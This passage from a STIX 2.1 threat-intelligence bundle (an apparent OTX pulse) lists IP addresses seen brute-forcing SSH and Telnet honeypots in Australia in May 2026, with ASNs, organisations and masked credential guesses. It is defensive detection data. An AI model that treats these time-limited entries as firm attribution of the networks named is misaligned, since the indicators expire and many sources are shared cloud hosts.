      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.35.123.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 136284. Organisation(s): Paradise Telecom Pvt Ltd. Usernames observed (masked): b*****r, r**t, 3**********4, b*****s, ***. Passwords observed (masked): !**********4, 3***********4, 3**********4, H********3, b*****s.",
      "id": "indicator--f056e28e-2757-4cd1-a1ac-60cce09dfced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.86.180.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54290. Organisation(s): Hostwinds LLC.. Usernames observed (masked): **, 3**********4, r**t, t**t, t****s. Passwords observed (masked): *, ***, 1******@, 3***********4, 3**********4.",
      "id": "indicator--35f63ae3-537f-491b-bca7-8b743ec56bb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.168.169.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d12b920c-c581-48f1-a2b6-6788dae4c7ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.123.70.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ffb8f0f2-4d50-42bd-ad25-d4c874bb1e7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.78.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5c157007-0680-45a8-9460-54f2d1dce973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.228.189.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--69bed443-5ae7-4deb-9d02-340f8617e911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.82.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): 7******7.",
      "id": "indicator--27915ff3-8d1e-4674-83c3-f168ac417789",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.107.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--2c845f33-2315-4fb0-87ce-b2926c8fb188",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.188.125.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--37757ba8-6eb2-429a-8d35-0a0253c40149",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--31c1b111-73ab-4a73-9122-976b012c91bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.50.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 16735. Organisation(s): ALGAR TELECOM SA. Usernames observed (masked): r**t, v****r, 3**********4, d****s. Passwords observed (masked): 1******8, 3***********4, 3**********4, O************#, v********5.",
      "id": "indicator--1264b489-69e4-4fb7-81a6-67252c7df7e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.72.128.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 8342. Organisation(s): JSC RTComm.RU.",
      "id": "indicator--59084dc4-2ddf-48dc-8009-dc910cc0f3de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.161.114.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--589f59a1-4a41-4c79-a773-8606641c5188",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--35effd8a-9740-43e6-a694-fa792c986977",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.124.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1e87c038-d028-4b8d-8690-20da27e1e759",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.16.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): a**x. Passwords observed (masked): t**t.",
      "id": "indicator--6e2ee0ca-3163-488e-8d81-e7c4f38d1168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.144.233.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3e5ecc3c-93c6-403d-9776-749a143f9e17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.162.24.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 209693. Organisation(s): Oc Networks Limited. Usernames observed (masked): p**d, 3**********4, d****d, r**t, u****u. Passwords observed (masked): 1****1, 1******X, 3***********4, 3**********4, d****d.",
      "id": "indicator--8237c816-33a9-44c3-a83c-3b92081e7233",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.188.77.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, ***, j**f, k***n. Passwords observed (masked): !******x, *, ***, 1**1, 3***********4.",
      "id": "indicator--de4e543c-ee8c-4b72-bf50-312e69b6ab25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.5.21.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KW. ASN(s): 29357. Organisation(s): National Mobile Telecommunications Company K.s.c.p.. Usernames observed (masked): r**t. Passwords observed (masked): u********3, v****3.",
      "id": "indicator--ad5e23eb-d35a-4a66-b6fe-f99f1a924638",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.89.154.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk. Usernames observed (masked): r**t, n***o, u****u, 3**********4, a****s. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, A******6.",
      "id": "indicator--1e704298-9cb5-47ce-b600-7af7e563ac39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.27.101.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bcde26d9-cf4e-4044-a6d6-7fa69374468d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.113.68.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d5757353-b476-40ed-8f01-03d30f49c26a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.208.64.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--daa8b16d-28ca-4d6d-bbc8-560cd6c1a5fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.189.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5df40b1e-340c-4dc2-80c3-e0a0eeea5f17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.57.233.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4, u****u, ***, d**o. Passwords observed (masked): 3***********4, 3**********4, 1****6, 2**3, A*********9.",
      "id": "indicator--91dcdc8d-bccd-45ed-b381-5f9b10f8181c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.254.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 274. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, *****, a****h. Passwords observed (masked): 1**4, *****, 0********1, *, 1****1.",
      "id": "indicator--48b813a9-eb1b-4b2d-9f73-077d5c674f72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.180.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 216. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, ***, ***. Passwords observed (masked): a***n, 1**1, 1**4, 1***5, 3******t.",
      "id": "indicator--16dd39c7-b05c-4b8f-adc8-3663f62fe8c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.187.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 524. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, c***o, ***, u**t. Passwords observed (masked): 1****6, a***n, p******d, 1**4, 0*************7.",
      "id": "indicator--2e2f505a-17df-4710-98df-a69ee567c56c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.192.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c9bb57ad-7377-4071-a90c-399079307ad0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.87.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GY. ASN(s): 19863. Organisation(s): Guyana Telephone & Telegraph Co..",
      "id": "indicator--e3fd22a2-bc91-4710-ab54-a3e1d91b1a26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.80.51.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--b6ee7fa0-b457-4c28-a77b-b98178dbccb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): f*****r, 3**********4, ***, m*******g. Passwords observed (masked): 1**4, 3***********4, 3**********4, P******d, m*******g.",
      "id": "indicator--079d0632-9399-4099-a6fc-8277d96dc08f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.91.0.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: QA. ASN(s): 48728. Organisation(s): Vodafone Qatar P.Q.S.C.",
      "id": "indicator--8594f782-8781-4205-a6d3-89d945457032",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.40.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): H*****s.",
      "id": "indicator--0d69ef45-b83c-491d-b5b7-f704e2fa6ab7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
